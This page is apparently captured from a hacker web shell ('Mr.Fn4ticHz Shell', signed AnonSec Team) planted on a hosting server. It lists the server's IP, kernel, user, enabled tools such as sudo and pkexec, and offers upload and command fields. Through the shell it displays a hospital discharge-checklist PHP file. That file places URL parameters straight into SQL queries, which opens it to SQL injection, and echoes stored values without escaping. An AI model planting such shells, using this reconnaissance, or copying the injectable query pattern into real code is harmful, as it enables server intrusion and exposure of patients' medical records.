Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.226.165.70
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/.trash/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/.trash/show_dischargechecklist.php
<?php

?>

<div class=''>
     <?php
  	$sql ="SELECT * FROM dischargechecklist WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo"
		    <h3 align='right'><a href='edit_showpage_dischargechecklist.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]'><i class='fa fa-pencil-square-o'></i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></h3>";
		}
		?>
       <table id='example2' class='table table-bordered table-hover'>
<?php 
		$sql ="SELECT * FROM dischargechecklist WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo "
		     <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Admission Consent: </td>
<td width='50%'>$rs[Admission_Consent]</td>
</tr>

 <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Blood Transfusion Consent: </td>
<td width='50%'>$rs[Transfusion_Consent]</td>
</tr>

 <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Cost Consent: </td>
<td width='50%'>$rs[Cost_Consent]</td>
</tr>

 <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Procedure Consent: </td>
<td width='50%'>$rs[Procedure_Consent]</td>
</tr>

 <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; High Risk Consent: </td>
<td width='50%'>$rs[High_Risk_Consent]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Anesthesia Consent: </td>
<td width='50%'>$rs[Anesthesia_Consent]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; LAMA/DOR Consent: </td>
<td width='50%'>$rs[LAMA_DOR_Consent]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Discharge Consent: </td>
<td width='50%'>$rs[Discharge_Consent]</td>
</tr>


";
}
?>


         <?php

$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' ";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
if(Pregnancy==$rs[casetype])
{
?> 
<?php 
		$sql ="SELECT * FROM dischargechecklist WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo "
		    <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Safe Childbirth Checklist Step 1: </td>
<td width='50%'>$rs[Step_1]</td>
</tr>
	
	<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Safe Childbirth Checklist Step 2: </td>
<td width='50%'>$rs[Step_2]</td>
</tr>
	
	<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Safe Childbirth Checklist Step 3: </td>
<td width='50%'>$rs[Step_3]</td>
</tr>
	
	<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Safe Childbirth Checklist Step 4: </td>
<td width='50%'>$rs[Step_4]</td>
</tr>
";

}
?>
	<?php
}
}
?>	    
	<?php 
		$sql ="SELECT * FROM dischargechecklist WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo "	    
 <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Pharmacy Replacement: </td>
<td width='50%'>";
if($rs[Pharmacy_Replacement] == 'on'){
    echo "<i class='fa fa-check' aria-hidden='true'></i>";
} else{
    echo "<i class='fa fa-times' aria-hidden='true'></i>";
}




echo "</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Billing Completed  :  </td>
<td width='50%'>
";
if($rs[Billing_Completed] == 'on'){
    echo "<i class='fa fa-check' aria-hidden='true'></i>";
} else{
    echo "<i class='fa fa-times' aria-hidden='true'></i>";
}


echo "</td></tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Discharge summary explained and handed over :  </td>
<td width='50%'>";
if($rs[summary_handed] == 'on'){
    echo "<i class='fa fa-check' aria-hidden='true'></i>";
} else{
    echo "<i class='fa fa-times' aria-hidden='true'></i>";
}

echo "</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Prescription explained and handed over  :  </td>
<td width='50%'>";
 if($rs[Prescription_explained] == 'on'){
    echo "<i class='fa fa-check' aria-hidden='true'></i>";
} else{
    echo "<i class='fa fa-times' aria-hidden='true'></i>";
}


echo "</td>
</tr>


<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Report handed over  :  </td>
<td width='50%'>
";
 if($rs[Report_handed] == 'on'){
    echo "<i class='fa fa-check' aria-hidden='true'></i>";
} else{
    echo "<i class='fa fa-times' aria-hidden='true'></i>";
}

echo "</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Iv Cannula Removed :  </td>
<td width='50%'>";
 if($rs[iv_cannula_removed] == 'on'){
    echo "<i class='fa fa-check' aria-hidden='true'></i>";
} else{
    echo "<i class='fa fa-times' aria-hidden='true'></i>";
}
echo "</td>
</tr>


<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Hospital Dress Changed :  </td>
<td width='50%'>";
 if($rs[Hospital_Dress_Changed] == 'on'){
    echo "<i class='fa fa-check' aria-hidden='true'></i>";
} else{
    echo "<i class='fa fa-times' aria-hidden='true'></i>";
}
echo "</td>
</tr>



<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Hospital belonging checked and taken back :  </td>
<td width='50%'>";
if($rs[Hospital_belonging] == 'on'){
    echo "<i class='fa fa-check' aria-hidden='true'></i>";
} else{
    echo "<i class='fa fa-times' aria-hidden='true'></i>";
}


echo "</td>
</tr>


<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Pending report informed:  </td>
<td width='50%'>";

if($rs[Pending_report_informed] == 'on'){
    echo "<i class='fa fa-check' aria-hidden='true'></i>";
} else{
    echo "<i class='fa fa-times' aria-hidden='true'></i>";
}



echo "</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Attending Nursing Staff:  </td>
<td width='50%'>$rs[Nurse_Name]</td>
</tr>

";
}
?>

				</table>
</div>


Anon7 - 2022
AnonSec Team